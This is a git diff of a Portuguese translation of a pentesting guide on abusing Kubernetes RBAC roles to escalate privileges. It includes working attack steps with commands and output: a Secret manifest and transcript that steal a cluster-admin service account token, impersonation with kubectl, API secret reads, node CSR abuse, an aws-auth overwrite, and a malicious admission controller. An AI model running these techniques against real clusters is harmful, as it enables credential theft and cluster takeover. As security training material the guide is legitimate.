Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

2026-02-05 03:16:37 -08:00 · 2025-01-22 12:07:03 +00:00
parent cf65db0822
commit 43707bd013
1 changed files with 102 additions and 39 deletions
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -1,4 +1,4 @@
-# Abusando de Roles/ClusterRoles no Kubernetes
+# Abusing Roles/ClusterRoles in Kubernetes

 {{#include ../../../banners/hacktricks-training.md}}

@@ -7,17 +7,17 @@ Lembre-se de que você pode obter todos os recursos suportados com `kubectl api-

 ## **Escalada de Privilégios**

-Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) dos que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:
+Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**:

 - Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
 - Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
- Ser capaz de **ler segredos** já que os tokens das SAs são armazenados como segredos
+- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos
 - Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)
 - Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.

-### Acessar Qualquer Recurso ou Verbo (Coringa)
+### Acessar Qualquer Recurso ou Verbo (Curinga)

-O **coringa (\*) dá permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
+O **curinga (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -31,7 +31,7 @@ verbs: ["*"]
 ```
 ### Acessar Qualquer Recurso com um verbo específico

-No RBAC, certas permissões apresentam riscos significativos:
+Em RBAC, certas permissões apresentam riscos significativos:

 1. **`create`:** Concede a capacidade de criar qualquer recurso de cluster, arriscando a escalada de privilégios.
 2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis.
@@ -136,7 +136,7 @@ Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pod
 - **hostNetwork**
 - **hostIPC**

-_Você pode encontrar exemplos de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
+_Você pode encontrar um exemplo de como criar/abusar das configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)

 ### Pod Create - Mover para a nuvem

@@ -151,7 +151,7 @@ pod-escape-privileges.md

 ### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**

-É possível abusar dessas permissões para **criar um novo pod** e estabelecer privilégios como no exemplo anterior.
+É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior.

 O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod:
 ```yaml
@@ -239,15 +239,15 @@ Se você tiver sorte e a capacidade altamente privilegiada `CAP_SYS_ADMIN` estiv
 ```bash
 mount -o rw,remount /hostlogs/
 ```
-#### Bypassando a proteção readOnly do hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

-Conforme declarado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
+Como afirmado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção:
 ```yaml
 allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Que visava prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
+Que tinha como objetivo prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -293,11 +293,11 @@ volumeMounts:
 - mountPath: "/hostlogs"
 name: task-pv-storage-vol
 ```
-### **Imitação de contas privilegiadas**
+### **Impersonando contas privilegiadas**

-Com um privilégio de [**imitação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia imitar uma conta privilegiada.
+Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.

-Basta usar o parâmetro `--as=<username>` no comando `kubectl` para imitar um usuário, ou `--as-group=<group>` para imitar um grupo:
+Basta usar o parâmetro `--as=<username>` no comando `kubectl` para se passar por um usuário, ou `--as-group=<group>` para se passar por um grupo:
 ```bash
 kubectl get pods --as=system:serviceaccount:kube-system:default
 kubectl get secrets --as=null --as-group=system:masters
@@ -316,9 +316,72 @@ A permissão para **listar segredos pode permitir que um atacante realmente leia
 ```bash
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
+### Criando e Lendo Segredos
+
+Há um tipo especial de segredo do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. Se você tiver permissões para criar e ler segredos, e também souber o nome do serviceaccount, você pode criar um segredo da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele:
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+name: stolen-admin-sa-token
+namespace: default
+annotations:
+kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+Exemplo de exploração:
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
+
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources                                       Non-Resource URLs                      Resource Names   Verbs
+selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
+selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
+selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
+secrets                                         []                                     []               [get create]
+[/.well-known/openid-configuration/]   []               [get]
+<SNIP>
+[/version]                             []               [get]
+
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
+
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
+
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
+{
+"apiVersion": "v1",
+"data": {
+"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
+"namespace": "ZGVmYXVsdA==",
+"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+},
+"kind": "Secret",
+"metadata": {
+"annotations": {
+"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+"kubernetes.io/service-account.name": "cluster-admin-sa",
+"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+},
+"creationTimestamp": "2025-01-11T13:02:27Z",
+"name": "stolen-admin-sa-token",
+"namespace": "default",
+"resourceVersion": "1019116",
+"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+},
+"type": "kubernetes.io/service-account-token"
+}
+```
+Note que se você tiver permissão para criar e ler segredos em um determinado namespace, a serviceaccount da vítima também deve estar nesse mesmo namespace.
+
 ### Lendo um segredo – força bruta em IDs de token

-Enquanto um atacante na posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. Contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de _**listar segredos**_, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o [código-fonte](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

 O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.

@@ -326,7 +389,7 @@ O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklm

 Se você tiver os verbos **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **criar** um novo CeSR de um **novo nó.**

-De acordo com a [documentação, é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Se não, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`
+De acordo com a [documentação, é possível aprovar automaticamente essas solicitações](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então, nesse caso, você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `<signerNameDomain>/<signerNamePath>` ou `<signerNameDomain>/*`

 Um **exemplo de um papel** com todas as permissões necessárias é:
 ```yaml
@@ -359,9 +422,9 @@ resourceNames:
 verbs:
 - approve
 ```
-Então, com o novo CSR de nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.
+Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.

-Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\
+Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**neste aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios ao roubar segredos.\
 Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.**

 A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post):
@@ -371,7 +434,7 @@ A maneira de contornar isso é apenas **criar credenciais de nó para o nome do
 ### AWS EKS aws-auth configmaps

 Os principais que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster ao sobrescrever o **aws-auth** configmap.\
-Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não foi criado:
+Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado:
 ```bash
 # Check if config map exists
 get configmap aws-auth -n kube-system -o yaml
@@ -422,9 +485,9 @@ Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualq

 > [!WARNING]
 > Ao se comunicar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **acesso via GCP IAM**.\
-> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será fornecido.
+> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será apresentado.

-Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las.
+Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes no GCP IAM**, e se o principal as tiver, poderá usá-las.

 {{#ref}}
 ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -444,22 +507,22 @@ Principais que podem **`atualizar`** ou **`patch`** **`pods/ephemeralcontainers`

 Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.

-Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](./#malicious-admission-controller).
+Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](#malicious-admission-controller).

 ### Escalar

-Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](./#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\
-Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que ele possui.
+Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\
+Então ele pode atualizar/criar novas roles, clusterroles com permissões melhores do que as que possui.

 ### Proxy de nós

-Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página:
+Principais com acesso ao sub-recurso **`nodes/proxy`** podem **executar código em pods** via a API Kubelet (de acordo com [**isto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação Kubelet nesta página:

 {{#ref}}
 ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
 {{#endref}}

-Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/#kubelet-rce).
+Você tem um exemplo de como obter [**RCE falando autorizado a uma API Kubelet aqui**](../pentesting-kubernetes-services/index.html#kubelet-rce).

 ### Deletar pods + nós não agendáveis

@@ -476,35 +539,35 @@ kubectl delete pods -n kube-system <privileged_pod_name>
 ```
 ### Status dos serviços (CVE-2020-8554)

-Princípios que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitig ações para o CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
+Principais que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o clus**ter. A maioria das mitig ações para o CVE-2020-8554 apenas previne serviços ExternalIP (de acordo com [**isso**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).

 ### Status de Nós e Pods

-Princípios com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas.
+Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status`, poderiam modificar rótulos para afetar as restrições de agendamento impostas.

 ## Prevenção de Escalação de Privilégios Integrada

-Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalação de privilégios.
+Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios.

-Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.
+Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma salvaguarda mesmo quando o autorizer RBAC está inativo.

 A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.

 > [!WARNING]
-> Há uma exceção à regra anterior. Se um princípio tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de funções e clusterroles mesmo sem ter as permissões ele mesmo.
+> Há uma exceção à regra anterior. Se um principal tem o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**, ele pode aumentar os privilégios de roles e clusterroles mesmo sem ter as permissões.

 ### **Obter & Patch RoleBindings/ClusterRoleBindings**

 > [!CAUTION]
-> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver já.**
+> **Aparentemente, essa técnica funcionou antes, mas de acordo com meus testes, não está mais funcionando pela mesma razão explicada na seção anterior. Você não pode criar/modificar um rolebinding para dar a si mesmo ou a um SA diferente alguns privilégios se você não os tiver.**

-O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Este privilégio pode potencialmente levar à escalação de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.**
+O privilégio de criar Rolebindings permite que um usuário **vincule funções a uma conta de serviço**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite que o usuário vincule privilégios de administrador a uma conta de serviço comprometida.**

 ## Outros Ataques

 ### Aplicativo proxy Sidecar

-Por padrão, não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.
+Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.

 #### Criar um aplicativo proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>

@@ -552,9 +615,9 @@ Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container

 ### Controlador de Admissão Malicioso

-Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **após a solicitação ser autenticada** **e autorizada**.
+Um controlador de admissões **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**.

-Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente obter privilégios elevados e, mais comumente, persistir no cluster.
+Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente escalar privilégios e, mais comumente, persistir no cluster.

 **Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
 ```bash
@@ -575,14 +638,14 @@ Então, implante um novo pod:
 kubectl run nginx --image nginx
 kubectl get po -w
 ```
-Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
+Quando você vê o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
 ```bash
 kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
 kubectl describe po nginx | grep "Image: "
 ```
 ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)

-Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que acabou de acontecer!!?
+Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!?

 #### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>

@@ -611,7 +674,7 @@ O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewant

 ### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings**

- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter uma segurança rigorosa.
+- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.

 ### **Papéis Específicos de Namespace em vez de Papéis de Cluster**